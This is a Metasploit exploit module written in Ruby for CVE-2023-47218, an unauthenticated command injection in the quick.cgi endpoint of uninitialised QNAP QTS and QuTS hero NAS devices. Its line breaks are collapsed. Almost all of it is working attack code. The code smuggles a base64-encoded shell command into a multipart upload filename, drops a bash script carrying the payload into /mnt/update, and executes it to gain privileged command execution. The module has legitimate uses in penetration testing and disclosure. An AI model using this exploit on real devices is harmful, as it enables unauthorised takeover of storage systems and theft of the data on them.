QNAP QTS / QuTS Hero Unauthenticated Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi',        'Description' => %q{          There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and          QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage          (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.          The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.          The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used          during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully          initialized, the quick.cgi component is disabled on the system.          An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command          injection, allowing the attacker to execute arbitrary commands on the device.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # CVE discovery, MSF module, Rapid7 Blog          'Spencer McIntyre', # Assistance          'jheysel-r7' # Docs        ],        'References' => [          ['CVE', '2023-47218'],          ['URL', 'https://www.qnap.com/en/security-advisory/qsa-23-57'],          ['URL', 'https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed']        ],        'DisclosureDate' => '2024-02-13',        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD],        'Privileged' => true,        'Targets' => [ [ 'Default', {} ] ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 80,          'SSL' => false,          'FETCH_WRITABLE_DIR' => '/mnt/update'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => '/cgi-bin/quick/quick.cgi',      'vars_get' => {        'func' => Rex::Text.rand_text_alphanumeric(8)      }    )    return CheckCode::Unknown('Connection failed') unless res    return CheckCode::Safe('Received HTTP status code: 404. This indicates the device is not vulnerable.') if res.code == 404    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200    # This is the content data we get back from a vulnerable system (testing firmware TS-X64_20230926-5.1.2.2533):    # <?xml version="1.0" encoding="UTF-8"?>    # <Storage>    # <Result>failure</Result>    # <Errcode>801</Errcode>    # <Errmsg>    # No Parameter.    # </Errmsg>    # </Storage>    return Exploit::CheckCode::Detected if res.body.include? '<Result>failure</Result>'    CheckCode::Unknown  end  def exploit    # XXX: the command injection has a limit of 127 characters, so we drop our payload to a file and then execute that file.    bootstrap_file = Rex::Text.rand_text_alphanumeric(8)    bootstrap_script = [      '#!/bin/bash',      payload.encoded    ].join("\n")    upload_file(bootstrap_file, bootstrap_script)    register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")    execute_command("bash #{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")  end  def execute_command(cmd)    cmd_injection_filename = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d))\""    upload_file(Rex::Text.uri_encode(cmd_injection_filename), Rex::Text.rand_text_alphanumeric(8))    register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{cmd_injection_filename}")  end  def upload_file(file_name, file_data)    if file_name.length > 127      fail_with(Failure::BadConfig, "The upload file name is too long (#{file_name.length}), must be < 128 bytes.")    end    data = Rex::MIME::Message.new    data.add_part(file_data, 'text/plain', 'binary', "form-data; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{Rex::Text.rand_text_alphanumeric(8)}\"; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{file_name}\"")    send_request_cgi(      'method' => 'POST',      'uri' => '/cgi-bin/quick/quick.cgi',      'vars_get' => {        'func' => 'switch_os',        'todo' => 'uploaf_firmware_image'      },      'headers' => {        'User-Agent' => 'Mozilla Macintosh'      },      'ctype' => "multipart/form-data;boundary=\"#{data.bound}\"",      'data' => data.to_s    )  endend